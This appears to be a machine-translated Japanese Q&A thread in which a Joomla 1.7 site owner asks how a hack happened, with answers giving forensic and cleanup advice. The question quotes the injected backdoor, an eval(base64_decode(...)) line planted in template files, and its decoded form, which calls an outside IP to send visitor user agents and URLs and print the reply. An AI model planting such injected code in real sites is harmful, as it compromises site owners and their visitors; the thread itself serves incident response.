web-dev-qa-db-ja.com

サイトのバックドアとeval（）

今日ハッキングされたJoomla1.7サイトを運営しています。以下のスクリプトはハックを行いました。

eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));

上記の行は、テンプレートフォルダのindex.phpファイルに挿入されました。フォルダ内にあったすべてのテンプレートには、上記のコードが含まれていました。各ファイルで、それは数回繰り返されました。

コードをデコードすると、出力されます

print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_Host'] . '/' . $_SERVER['REQUEST_URI']));

スクリプトを削除すると、サイトは正常に機能します。スクリプトは、サイトがまったく読み込まれなかったことを除いて、悪いことは何もしませんでした。

私の問題は、ファイルのアクセス許可を644に、フォルダーのアクセス許可を755に設定した場合でも、どうしてこれが発生するのでしょうか。

問題の原因を特定するにはどうすればよいですか？将来これが起こらないようにするには、どのような手順を踏む必要がありますか？

更新

これ フォーラム投稿アシスタント/ FPA 非常に役立ちます

attacksphpexploitbackdoorjoomla
1
Techie

問題の原因を特定するにはどうすればよいですか？

このタイプの違反に対する基本的なフォレンジック手順は次のとおりです。

  1. ベースタイムを確立します-変更されたファイルはいつ変更されましたか？
  2. 「find」を使用して、ベースタイムより前に変更されたが、ベースタイムの24時間以内（たとえば）で変更されたファイルをWebルートで検索します。「touch」を使用して開始時刻と終了時刻でファイルを作成し、「-newer」と「！」でfindを使用します。 -newer」は、その時間枠内で検索します。これにより、実際の侵入の一部としてサーバーにアップロードまたは変更されたファイルが識別される場合があります。
  3. 次に、Webアクセスログと関連付けて、これらのファイルのいずれかが変更されたときに何が起こったかを確認します。攻撃者がシステムでコードを実行するためにJoomlaまたはそのプラグインを悪用した可能性が高いです。たとえば、08：00に、プラグインをだましてPHPファイルをWebルートにアップロードさせます。 、08：05と08:10に、新しくアップロードされたPHPファイルにWebサーバー経由でアクセスし、08：15にそれを使用して、通過したコードを実行し、index.phpを変更します。 。
  4. 攻撃者を特定するWebログエントリを見つけたら（つまり、攻撃者がアップロードしたスクリプトにアクセスすると）、攻撃者のIPアドレスを使用してログをより包括的に検索し、把握できるかどうかを確認できます。彼らは他に何をしましたか。
  5. 攻撃者がシステムにアップロードしたファイルを特定すると、攻撃者が何をしたかをよりよく理解できる可能性があります。しかし、私が分析した最後のそのようなシステムでは、アップロードは単にPHPファイルであり、投稿されたデータの内容をeval（）します-基本的に、コードを送信できるように設定しましたPHPインタープリターにWebページにPOSTすることで。このメソッドは、実際に実行したコードの痕跡を残しません。

「このタイプの違反」とは、水飲み場型攻撃を指します。この攻撃では、誰かがWebサーバーに侵入し、Webファイルにコードを挿入して、無意識のうちにWebクライアントにサービスを提供します。このような違反は通常、Webアプリケーション/ CMS /プラグインを攻撃することによって実行され、攻撃者がシステムでコードを実行している間、完全なバックドアを構築したり、ログからトレースを削除しようとしたりするために違反を使用する可能性は低くなります。 'ただ入って、ファイルを変更して、なくなってしまいました。

システム上でコードを実行できた方法を特定するために、上記の分析を実行することが非常に重要です。そうしないと、彼らや他の誰かがもう一度やり直します。攻撃者がシステム（バックドア、ログ編集、ルートキット）に侵入する可能性は低くなりますが、強くボックスを再構築し、クリーンバックアップからWebコンテンツを復元することを検討する必要があります。

4
gowenfawr

以下のスクリプトはハックを行いました

いいえ-それが攻撃後に残されたものです。

スクリプトを削除すると、サイトは正常に機能します。

しかし、あなたは脆弱性を修正していません。現在のJoomlaバージョンはかなり安全です（古いバージョンはそうではありません）が、そこにはひどく書かれた拡張機能がたくさんあります。そして、おそらく攻撃者はJoomla経由でシステムにアクセスすることさえしませんでした。

ざっと見てみましたが、ハッキングされたシステムに対処するプロセスに関して、ここでは投票の多い質問はないようです-しかし serverfaultでこれを読んでください。

ファイルのアクセス許可を644に、フォルダーのアクセス許可を755に設定した場合

前後？誰が所有していますか？

問題の原因を特定するにはどうすればよいですか？

ログを読んでください。ただし、これらも改ざんされている可能性があると想定してください。ギャップや予期しないエントリを探してください。あなたはまだ答えを見つけることができないかもしれません。

2
symcbean

@Dasun

将来これが起こらないようにするには、どのような手順を踏む必要がありますか？

最初に：あなたのウェブサイトが決して「ハッキングできない」という事実を受け入れてください。

混乱をクリーンアップした後（通常、最初からやり直すことを意味します）、Joomlaコアを更新し、すべてのコンポーネント、拡張機能などを更新します。そしてそれを最新の状態に保ちます。ファイルのアクセス許可を再確認することを忘れないでください。

過去2か月（またはそれくらい）に発生した厄介なJoomlaエクスプロイトの1つは、com_jceの脆弱性に対するものです。したがって、そのコンポーネントを使用しているかどうかを確認してください。脆弱性の詳細については、Googleをご覧ください。さらに、ソフトウェアのバージョンを最新の状態に保つ以外に、やるべきことはあまりありません。

PS：一般的なエクスプロイトをブロック（書き換え）するように.htaccessファイルを設定する方法については、多くの情報があります。ただし、.htaccessファイルに組み込むことができるエクスプロイトとそのシグネチャを積極的に監視する必要があります。 ModSecurityのようなWebアプリケーションファイアウォール（WAF）で保護を提供しているかどうか、ホスティングプロバイダーに問い合わせてください。

2
Jan Reilink

表示するeval()コマンドは比較的害がないように見えますが（サーバーにダウンロードさせることはできますが）、このコマンドのpresenceindex.php fileは、攻撃者がサイト内の少なくともいくつかのファイルへの書き込みアクセス権を取得したことを示します。その後、彼はさまざまな方法でそれを盗聴した可能性があり、おそらく彼のアクセスをより完全なシステム全体のアクセスにエスカレートしました。サイトが「正常に機能する」ということは、サーバーがバックドアやルートキットでいっぱいになっていないことを意味するわけではありません。攻撃者が入る前に足を拭いたことを意味します。

それは 軌道からの核 状況であり、見た目は極端です。十字軍のように火で浄化しない限り、この機械の完全性を再び信頼することはできません。

攻撃者が最初にどのように侵入したかを知るために、フォレンジック分析のためにサイトとOSのコピーを保持する必要があります。 @gowenfarの回答を参照してください。ただし、多くの攻撃者は背後のドアを閉める傾向があることを知っておいてください。穴を悪用すると、カスタムバックドアがインストールされ、次に修正されます。彼らが入ることを可能にした穴（独占権を維持するために-ほとんどの攻撃者は非常に領土の動物であり、同じ獲物を食べようとする他の攻撃者に積極的に反対します）。したがって、サイトの現在の状態（マシンを削除する前に作成するコピー）と最後の既知のクリーンバックアップ（バックアップがありますか？）を体系的にファイル間で比較することをお勧めします。

1
Tom Leek

上記の回答のほとんどは、Joomla 1.7がサポートされなくなったという1つの重要な情報が欠落しているようですそして脆弱性にさらされています。

Joomla 1.7は短期リリースであり、2012年2月にサポートが終了しました。私のアドバイスは、できるだけ早くアップグレードすることを検討することです。 2.5安定版にアップグレードする方法についてのメモ http://docs.joomla.org/Upgrading_from_an_existing_version

1
bewebdev